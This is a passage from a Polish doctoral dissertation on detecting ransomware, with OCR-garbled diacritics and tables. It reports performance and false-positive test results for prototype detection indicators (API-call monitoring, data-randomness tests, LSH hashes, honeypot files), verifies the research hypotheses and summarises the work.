oprogramowania Conti, czyli osiggniecia poziomu wykrywalnosci 100% dla testowanych wersji

oprogramowania ransomware.

IX.11 Wyniki testow efektywnosci

W rozdziale tym przedstawione zostaty uzyskane wyniki testow efektywnosci dziatania
opracowanego rozwigzania. Celem przeprowadzenia tych testow byto oszacowanie ogdlnego
spadku wydajnosci systemu operacyjnego po wiaczeniu zaimplementowanego mechanizmu
wykrywania aktywnos$ci oprogramowania ransomware. Testy przeprowadzone zostaty na

dwdéch maszynach wirtualnych pracujacych w srodowisku wirtualnym VirtualBox.
Specyfikacja pierwszej wirtualnej maszyny:

e System: Windows 10 Pro

e Wersja systemu: 22H2

e Przydzielona pamie¢ RAM: 6144MB

e Liczba przydzielonych rdzeni procesora: 4

e Procesor hosta: Intel 19-11980HK @ 2.60HZ 3.30GHZ
Specyfikacja drugiej wirtualnej maszyny:

e System: Windows 10 Pro

e Wersja systemu: 22H2

e Przydzielona pamie¢ RAM: 8192MB

e Liczba przydzielonych rdzeni procesora: 6

e Procesor hosta: AMD Ryzen 7 7800X3D 8-Core Processor 4.20 GHz
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Na potrzeby realizacji testéw zainstalowane zostato nastepujgce oprogramowanie

dodatkowe:

Passmark wersja 10.2 — narzedzie do testowania wydajnosci komputerow,
umozliwiajgce ocene szybkosci roznych komponentéw, takich jak procesor (CPU),
pamie¢ RAM czy dysk twardy. Program przeprowadza szczegétowe testy, a wyniki
sumuje w ogdlny wskaznik zwany "PassMark Rating", ktéry pozwala poréwnac

wydajnos¢ testowanego systemu z innymi.

Test efektywnosci prowadzone byty w nastepujacych trybach:

BZ - tryb bez zainstalowanych narzedzi do monitorowania aktywnosci
oprogramowania ransomware.

IRPDF - tryb zzainstalowanymi narzedziami do monitorowania aktywnosci
oprogramowania ransomware. W trybie tym narzedzia byty wigczone w zakresie
monitorowania aktywnosci dyskowych oraz mechanizmu obstugi putapek
honeypot.

ALL - tryb zzainstalowanymi narzedziami do monitorowania aktywnosci
oprogramowania ransomware. W trybie tym narzedzia byty wigczone w zakresie
monitorowania aktywnosci dyskowych, mechanizmu obstugi putapek honeypot

oraz mechanizmu monitorowania wywotan API systemu Windows.

Ponizsza tabela prezentuje wyniki uzyskane na pierwszej maszynie wirtualnej.

% wyniku L % wyniku Dysk % wyniku
Tryb CPU Pamie¢ RAM
Bz Bz twardy Bz
BZ 7668 100 % 1744 100 % 5339 100 %
IRPDF 6022 79 % 1357 78 % 3268 61 %
ALL 4226 55 % 1320 76 % 3067 57 %

Ponizsza tabela prezentuje wyniki uzyskane na drugiej maszynie wirtualne;j.

Tryb CPU % wyniku | Pamie¢ RAM % Dysk twardy | % wyniku
Bz wyniku Bz
Bz
BZ 11730 100 % 2977 100 % 3625 100 %
IRPDF 9911 84 % 2582 87 % 2615 72 %
ALL 9904 84 % 2526 85 % 2083 57 %
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IX.12 Analiza uzyskanych wynikow testow efektywnosci

Testy zostaly przeprowadzone na prototypowych implementacjach wskaznikéw.
W zwigzku z tym w implementacjach tych zabrakto m.in. optymalizacji zwigzanych z czasem
wykonywania kodu, sposobem wykorzystywania oraz zarzgdzania zasobami systemowymi czy
tez optymalizacji zwigzanych z wartosciami parametréw uzywanych w procesie kompilowania

oraz linkowania koddéw zrédtowych. Uzyskane wyniki testow, pokazuja, ze:

e Po wigczeniu wskaznikow zwigzanych z obstugg dyskowg oraz putapkami honeypot
odnotowano spadek wydajnosci procesora (CPU) 0 21 % na pierwszej wirtualnej
maszynie (Intel I19) oraz o 16 % na drugiej wirtualnej maszynie (AMD Ryzen 7).

e Po wigczeniu wskaznikow zwigzanych z obstugg dyskowg oraz putapkami honeypot
odnotowano spadek wydajnosci pamieci operacyjnej (RAM) 0 22 % na pierwszej
wirtualnej maszynie (Intel 19) oraz 0 13 % na drugiej wirtualnej maszynie (AMD
Ryzen 7).

e Po wigczeniu wskaznikow zwigzanych z obstugg dyskowg oraz putapkami honeypot
odnotowano spadek wydajnosci pamieci statej (dysk twardy) o 39 % na pierwszej
wirtualnej maszynie (Intel 19) oraz 028 % na drugiej wirtualnej maszynie (AMD
Ryzen 7).

e Po wigczeniu wszystkich zaimplementowanych wskaznikéw odnotowano spadek
wydajnosci procesora (CPU) o 45 % na pierwszej wirtualnej maszynie (Intel 19) oraz
0 16 % na drugiej wirtualnej maszynie (AMD Ryzen 7).

e Po wigczeniu wszystkich zaimplementowanych wskaznikéw odnotowano spadek
wydajnosci pamieci operacyjnej (RAM) o 24 % na pierwszej wirtualnej maszynie
(Intel 19) oraz o0 15 % na drugiej wirtualnej maszynie (AMD Ryzen 7).

e Po wigczeniu wszystkich zaimplementowanych wskaznikéw odnotowano spadek
wydajnosci pamieci statej (dysk twardy) o 43 % zaréwno na pierwszej (Intel 19) oraz

drugiej wirtualnej maszynie (AMD Ryzen 7).

Uzyskane wyniki prezentuja duzg roznice w ogdlnym spadku wydajnosci pomiedzy
wirtualnymi maszynami. Przyktadowo, spadek wydajnosci CPU (przy wtgczonych wszystkich
elementach rozwigzania) wyniést 16 % na platformie AMD oraz 45 % na platformie Intel.
Roznice te by¢ moze wynikajg z samego sposobu obstugi procesoréw Intel oraz AMD przez

srodowisko wirtualizacji VirtualBox. Podobna sytuacja ma miejsce w przypadku wydajnosci
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pamieci RAM - 15 % na platformie AMD, 24 % na platformie Intel. Wydajnos¢ pamieci statej
(dysk twardy) w obu przypadkach spadta o0 43 %. Wynika to zapewne z faktu wykorzystania
dodatkowego filtra systemowego pracujacych nad sterownikiem do obstugi systemu plikow

NTFS. Filtr ten przechwytuje wybrane wywotania IRP kierowanie do systemu plikow.

Analizujgc uzyskane wyniki nalezy pamietaé, ze testy przeprowadzone zostaty
z wykorzystaniem prototypowych implementacji wskaznikéw, ktérych gtdwnym celem byta
weryfikacja poprawnosci dziatania utworzonych koncepcji wykrywania aktywnosci
oprogramowania ransomware. Dodatkowo, z uwagi na uzyskane duze réznice w wydajnosci

wirtualnych maszyn, kolejne testy nalezy przeprowadzié na fizycznym srodowisku testowym.
Podsumowujac:

e Nalezy przeprowadzi¢ optymalizacje kodu zréodtowego wskaznikéw.

e Ponowne testy nalezy przeprowadzi¢ na fizycznym srodowisku testowym.

IX.13 Wyniki testéw typu "false positive"

W rozdziale tym przedstawione zostaty uzyskane wyniki testow typu "false positive". Testy
te polegaty na weryfikacji jaki wptyw na normalne dziatanie oprogramowania dodatkowego
ma utworzony system wykrywania aktywnosci ransomware pracujacy z wigczonym
mechanizmem monitorowania aktywnosci dyskowych, mechanizmem obstugi putapek

honeypot oraz mechanizmem monitorowania wywotan APl systemu Windows.

Gtéwnym celem przeprowadzenia tych testéow byta weryfikacja, czy podczas normalnej
pracy z oprogramowaniem dodatkowym, nie zostanie nieprawidtowo wykryty trwajacy atak
ransomware - tzw. "false positive". Testy przeprowadzone zostaty w srodowisku wirtualnym

VirtualBox.
Specyfikacja testowej wirtualnej maszyny:

e System: Windows 10 Pro

e Wersja systemu: 22H2

e Przydzielona pamie¢ RAM: 8192MB

e Liczba przydzielonych rdzeni procesora: 6

e Procesor hosta: AMD Ryzen 7 7800X3D 8-Core Processor 4.20 GHz
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Na potrzeby realizacji testow wykorzystane zostato nastepujace oprogramowanie:

e WinRAR.

o 7Zip.

e Windows Defender.

e Avast Antivirus.

e Avira Antivirus.

e Szyfrowanie w systemie Windows 10.

Ponizsza tabela prezentuje uzyskane wyniki testéw.

Aplikacja Przebieg testu Wynik testu
Folder zawierajacy ok. 6GB danych
zostat poddany kompres;ji do ] ]
. ) ) ] Proces programu WinRAR nie
WinRAR archiwum .rar. Uzyta zostata opcja ) )
) zostat wykryty jako szkodliwy.
szyfrowania z hastem oraz
szyfrowania nazw plikéw.
Folder zawierajacy ok. 6GB danych
zostat poddany kompres;ji do
archiwum .zip. Uzyta zostata opcja Proces programu WinRAR nie
WinRAR ) ) )
szyfrowania z hastem. zostat wykryty jako szkodliwy.
Przetestowano zaréwno domysiny
jak i klasyczny tryb szyfrowania ZIP.
Folder zawierajgcy ok. 6GB danych
27i zostat poddany kompres;ji do Proces programu 7Zip nie zostat
i
P archiwum .zip. Uzyta zostata opcja wykryty jako szkodliwy.
szyfrowania z hastem.
Proces programu Windows
Windows Uruchomiony zostat proces Defender (m. in. ,MsMpEng.exe”)
Defender petnego skanowania systemu. zostat wykryty jako szkodliwy -

Avast Antivirus

Uruchomiony zostat proces
petnego skanowania systemu.

Avira Antivirus

Uruchomiony zostat proces
petnego skanowania systemu.

"false positive".
Proces programu Avast Antivirus
nie zostat wykryty jako szkodliwy.

Proces programu Avira

,endpointprotection.exe” zostat

wykryty jako szkodliwy - "false
positive".
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Folder zawierajgcy ok. 6GB danych

. zostat zaszyfrowany funkcja ) )
Szyfrowanie ] Proces nie zostat wykryty jako
systemu Windows poprzez ]
systemowe ) o szkodliwy.
zastosowanie odpowiedniego

atrybutu folderu.

Dodatkowo, podczas przeprowadzania powyzszych testow mechanizm nieprawidtowo

oznaczyt ponizsze procesy jako szkodliwe (alarmy typu "false positive"):

e RuntimeBroker.exe.

e SecurityHealthSystray.exe.
e MicrosoftEdgeUpdate.exe.
e Sihost.exe.

e cleanmgr.exe.

IX.14 Analiza uzyskanych wynikow testow typu "false positive"

Testy zostaly przeprowadzone na prototypowych implementacjach wskaznikéw.
W zwigzku ztym wimplementacjach tych zabrakto m.in. mechanizméw wykluczania
wybranych proceséw oraz zainstalowanego oprogramowania (np. mechanizm tzw. biate;j listy
proceséw/programéw). W zwigzku ztym weryfikacji podlegaty wszystkie procesy

uruchomione w testowanym systemie. Uzyskane wyniki testéw, pokazuja, ze:

e Kompresowanie duzej ilosci danych nie powoduje alarméw typu "false positive".

e Kompresowanie i szyfrowanie duzejilosci danych nie powoduje alarméw typu "false
positive".

e Szyfrowanie (z wykorzystaniem mechanizmédw systemowych) nie powoduje
alarmow typu "false positive".

e Dwa z trzech testowanych programoéw antywirusowych zostaty btednie oznaczone
jako szkodliwe ("false positive"). Alarm wyzwolony zostat przez mechanizm putapek
honeypot podczas proby skanowania plikéw putapek.

e Podczas testow zgtoszonych zostato kilka dodatkowych alarméw "false positive" dla
procesow systemowych niezwigzanych bezposrednio z realizowanymi procedurami

testowymi.
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Analizujgc uzyskane wyniki nalezy pamietaé, ze testy przeprowadzone zostaty
z wykorzystaniem prototypowych implementacji wskaznikéw, ktérych gtdwnym celem byta
weryfikacja poprawnosci dziatania utworzonych koncepcji wykrywania aktywnosci

oprogramowania ransomware.
Podsumowujac:

e Nalezy doda¢ mechanizmy ograniczajace liczbe alarméw typu "false positive" (np.
mechanizm obstugi bitaej listy proceséw/programéw).

e Nalezy przeprowadzié¢ testy na wiekszej liczbie oprogramowania uzytkowego.
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X Weryfikacja hipotez badawczych

Proces wnioskowania oraz weryfikacji zwigzany ze sprawdzeniem przedstawionych
powyzej hipotez szczegdtowych dotyczgcych wskaznikdw detekcji aktywnosci ztosliwego
oprogramowania, przeprowadzony zostaf na podstawie wynikéw uzyskanych podczas testow
prototypowych implementacji wskaznikdéw. Testy zostaty przeprowadzone w kontrolowanym
srodowisku testowym z wykorzystaniem 23 prébek oprogramowania ransomware. Sposrod
nich 14 stanowity wersje, ktore nie byty analizowane podczas realizacji prac nad wskaznikami.
Dzieki temu mozna je traktowad, jak nowe, nieznane podczas tworzenia wskaznikow, wersje

oprogramowania ransomware.

X.1 Hipoteza HS1

HS1

Cechy charakterystyczne wyodrebnione na podstawie
analizy wybranych prébek oprogramowania ransomware
umozliwig utworzenie zestawu wskaznikdw wykrywajgcych
aktywnos¢  w systemie operacyjnym  wirusa typu
ransomware.

Hipoteza alternatywna (H:) | Cechy charakterystyczne wyodrebnione na podstawie
analizy wybranych prébek oprogramowania ransomware
NIE umozliwia utworzenie zestawu  wskaznikdéw
wykrywajgcych aktywnosé w systemie operacyjnym wirusa
typu ransomware.

Wynik weryfikacji | Hipoteze Ho nalezy przyjac.

Uzasadnienie | Wsréd uzyskanych wynikéw analizy wybranych prébek
ransomware, znajdowaly sie wyniki zwigzane
z wywotywanymi funkcjami APl systemu Windows.
Wywotania te niewatpliwie stanowia cechy
charakterystyczne oprogramowania ransomware. Naich
podstawie utworzony zostat zestaw wskaznikéw do
monitorowania wywotan API systemu Windows z réznych
obszaréow biznesowych (kryptografia, pliki, watki
i procesy, ustawienia, sie¢, nietypowe zastosowanie).
Przeprowadzone testy prototypowych implementacji tych
wskaznikow wykazaty, ze s3 one w stanie analizowacd
dane o wywotfania APl we wszystkich testowanych
prébkach. W zwigzku z tym, na bazie testowej probki, nie
ma dostatecznych podstaw do odrzucenia hipotezy Ho.

Hipoteza (Ho)

X.2 Hipoteza HS2

HS2
Hipoteza (Ho) | Wykorzystanie funkcji LSH/LPH umozliwi  wykrycie
aktywnosci ztosliwego oprogramowania typu ransomware.
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Hipoteza alternatywna (Hi)

Wykorzystanie funkcji LSH/LPH NIE umozliwi wykrycia
aktywnosci ztosliwego oprogramowania typu ransomware.

Wynik weryfikacji

Hipoteze Ho nalezy przyjac.

Uzasadnienie

Na bazie uzyskanych wynikéw analizy wybranych prébek
ransomware oraz cech charakterystycznych funkcji skrotu
z rodziny LSH/LPH, powstata koncepcja oraz prototypowa
implementacja wskaznika zmian klas abstrakgcji.
Przeprowadzone testy prototypowej implementacji
wskaznika wykazaly, ze jest on w stanie wykry¢ zmiany
klas abstrakcji (kategorii) danych pliku podczas ataku
ransomware iz wysokim prawdopodobienstwem jest
w stanie wykry¢ trwajacy atak ransomware. W zwigzku
z tym, na bazie testowej probki, nie ma dostatecznych
podstaw do odrzucenia hipotezy Ho.

X.3 Hipoteza HS3

Hipoteza (Ho)

HS3

Wykorzystanie mechanizmu putapek typu honeypot
umozliwi wykrycie aktywnosci ztosliwego oprogramowania
typu ransomware.

Hipoteza alternatywna (Hi)

Wykorzystanie mechanizmu putapek typu honeypot NIE
umozliwi wykrycia aktywnosci ztosliwego oprogramowania
typu ransomware.

Wynik weryfikacji

Hipoteze Ho nalezy przyjac.

Uzasadnienie

Na bazie uzyskanych wynikéw analizy wybranych prébek
ransomware oraz cech charakterystycznych mechanizmu
putapek typu honeypot, powstata koncepcja oraz

prototypowa implementacja wskaznika dostepu do
putapek honeypot oraz wskainika zmian putapek
honeypot. Przeprowadzone testy prototypowych

implementacji wskaznikow wykazaly, ze s3 one w stanie
wykry¢ proby dostepu oraz proby zmian plikow decoy files
i zwysokim prawdopodobieistwem sg w stanie wykry¢
trwajacy atak ransomware. W zwigzku z tym, na bazie
testowej probki, nie ma dostatecznych podstaw do
odrzucenia hipotezy Ho.

X.4 Hipoteza H54

Hipoteza (Ho)

HS4
Wykorzystanie mechanizmow badania poziomu losowosci
danych umozliwi  wykrycie aktywnosci ztosliwego

oprogramowania typu ransomware.

Hipoteza alternatywna (Hi)

Wykorzystanie mechanizmow badania poziomu losowosci
danych NIE umozliwi wykrycia aktywnosci ztosliwego
oprogramowania typu ransomware.

Wynik weryfikacji

Hipoteze Ho nalezy przyjac.
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Uzasadnienie

Na bazie uzyskanych wynikéw analizy wybranych prébek
ransomware oraz cech charakterystycznych testu Maurer
‘a, testu monobitowego oraz entropii Shannona, powstata
koncepcja oraz prototypowa implementacja wskaznika
zmiany losowosci danych w pliku. Przeprowadzone testy
prototypowej implementacji wskaznika wykazaty, ze jest
on w stanie wykry¢ zmiany poziomu losowosci danych
w analizowanym pliku i zwysokim
prawdopodobieistwem jest w stanie wykry¢ trwajacy
atak ransomware. W zwigzku ztym, na bazie testowej
prébki, nie ma dostatecznych podstaw do odrzucenia
hipotezy Ho.

X.5 Gtéwna hipoteza badawcza

Hipoteza (Ho)

Opracowane autorskie wskazniki wykrywania atakéw typu
ransomware zwiekszg poziom bezpieczestwa danych
w ujeciu bezpieczenstwa jednostki, spoteczenstwa oraz
panstwa

Hipoteza alternatywna (H1)

Opracowane autorskie wskazniki wykrywania atakéw typu
ransomware NIE zwiekszg poziom bezpieczerstwa danych
w ujeciu bezpieczenstwa jednostki, spoteczenstwa oraz
panstwa

Wynik weryfikacji

Hipoteze Ho nalezy przyjac.

Uzasadnienie

Majac na uwadze wypracowane koncepcje wskaznikéw
detekcji, utworzone prototypowej implementacji, wyniki
przeprowadzonych testéw (potwierdzona empirycznie
wysoka skuteczno$¢ detekcji) oraz wyniki weryfikacji
hipotez szczegétowych, nalezy uznaé, zienie ma
dostatecznych podstaw do odrzucenia hipotezy Ho.
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Xl Podsumowanie

Problemy oraz zagrozenia powodowane przez oprogramowanie ransomware stanowig
powazne wyzwanie dla wszystkich uzytkownikow systemdéw komputerowych. W dysertacji
naukowej staratem sie przedstawic zagrozenia jakie niosg ze sobg kryptowirusy dla panstw,
organizacji oraz jednostek. Czesciowg odpowiedzia nate zagrozenia moga stanowic
zaproponowane przeze mnie wskazniki detekcyjne. Ich giéwnym celem jest wykrycie
trwajgcego ataku ransomware. W zwigzku z tym nalezy je (mechanizm bezpieczerstwa z nich
korzystajacy) traktowac jako dodatkowa warstwe bezpieczenstwa, ktérej zadaniem jest
minimalizacja szkdd powodowanych przez atak ransomware. Zaproponowane wskazniki
stanowig niejako ostatnig "deske ratunku", gdyz majg wykry¢ atak w sytuacji, w ktorej
wszystkie inne mechanizmy bezpieczenstwa zawiodty ipozwolity rozpoczagé proces

szyfrowania danych sktadowanych w zaatakowanym system komputerowym.

W wyniku przeprowadzonej analizy wybranych probek oprogramowania ransomware,
zaproponowatem sze$¢ wskaznikdw monitorujacych wywotania wybranych funkcji API

systemu Windows:

e Wskaznik wykorzystania API kryptograficznego.

e Wskaznik wykorzystania API plikowego.

e Wskaznik wykorzystania APl do obstugi watkdw oraz proceséw.

e Wskaznik wykorzystania funkcji API do modyfikacji ustawien systemowych.

e Wskaznik wykorzystania nietypowego API.

Dodatkowo, majac na uwadze, iz zaszyfrowane dane posiadajg cechy danych losowych,

zaproponowatem wykorzystanie we wskaznikach detekgji:

e Testu Maurera.

e Testu monobitowego.

e Entropi Shannon’a.

e Mechanizmu putapek honeypot.
e Funkcji skrétu typu LSH - SSDEEP.
e Funkcji skrétu typu LSH - LZJD.

e Funkcji skrétu typu LSH - TLSH.

e Funkcji skrétu typu LSH - Nilsimsa.
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Na bazie tych mechanizmoéw powstata koncepcja czterech dodatkowych wskaznikéw:

e \Wskaznika zmian losowosci danych.
e Wskaznika zmian klasy abstrakcji.
e Wskaznika dostepu do putapek honeypot.

e Wskaznika zmian putapek honeypot.

Na potrzeby weryfikacji szczegdétowych hipotez badawczych, utworzone zostaty
prototypowe implementacje opracowanych wskaznikdw. Nastepnie przeprowadzone zostaty
testy, ktére wykazaty 96% skutecznos¢ detekcji oprogramowania ransomware. Prébka
testowa skfadata sie zaréwno z wersji ransomware, ktére byty wczesniej analizowane jak
rowniez z wersji ransomware, ktore nie byty uzywane na wczesniejszych etapach pracy. Dzieki
temu wykazana zostafa skutecznos¢ opracowanych wskaznikdw réwniez w kontekscie
wykrywania nowych oraz nieznanych wczesniej wersji oprogramowania ransomware. Warto
wtym miejscu zaznaczy¢, ze opracowane wskazniki zwigzane s3 bezposrednio
z funkcjonalnoscia wykrywania trwajacego ataku ransomware. Nie stanowig jednak
ostatecznego oraz petnego mechanizmu bezpieczeristwa. Moga jednakze stanowic¢ bardzo
istotny jego fragment - czes¢, ktdra jest odpowiedzialna za wykrywanie trwajacego ataku.
Uzyskany bardzo wysoki poziom detekcji prototypowych implementacji opracowanych
wskaznikéw, stanowi zatem istotny punkt wyjscia do utworzenia petnego systemu detekgji

oraz zatrzymywania ataku ransomware. System taki moze sktadac sie np. z:

e Podsystemu detekcyjnego korzystajgcego z opracowanych wskaznikéw.

e Podsystemu konczgcego wykryty atak ransomware, ktory np. zatrzyma wszystkie
procesy zwigzane z wykrytym procesem ransomware, utworzy kopie ich wersji
binarnych (plikdw exe), utworzy zrzuty ich pamieci na potrzeby dalszej analizy
Sledczej, itp.

e Podsystemu do komunikacji z uzytkownikiem dostarczajacego m.in. graficzny
interfejs uzytkownika.

e Podsystemu ochronnego, ktérego zadaniem bedzie obrona wskaznikéw oraz innych
podsystemow przed agresywnymi dziataniami oprogramowania ransomware -
takimi jak np. zaobserwowane zostaty podczas testow wskaznikow w trakcie ataku

Conti.
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e Podsystem do analizy oraz sktadowania danych zwigzanych m.in. z danymi
zwracanymi przez wskazniki wykorzystania API systemu Windows czy tez danymi

zwigzanymi z pracg innych podsystemoéw systemu detekcyjnego.

Analizujac przedstawione koncepcje, prototypowe implementacje oraz uzyskane wyniki
nalezy uzna¢, ze cel pracy, ktérym byto opracowanie koncepcji autorskich wskaznikow
wykrywania atakéw typu ransomware, ktére zwiekszg poziom bezpieczerstwa danych

w ujeciu bezpieczenstwa jednostki, spoteczenstwa oraz panstwa, zostat osiggniety.
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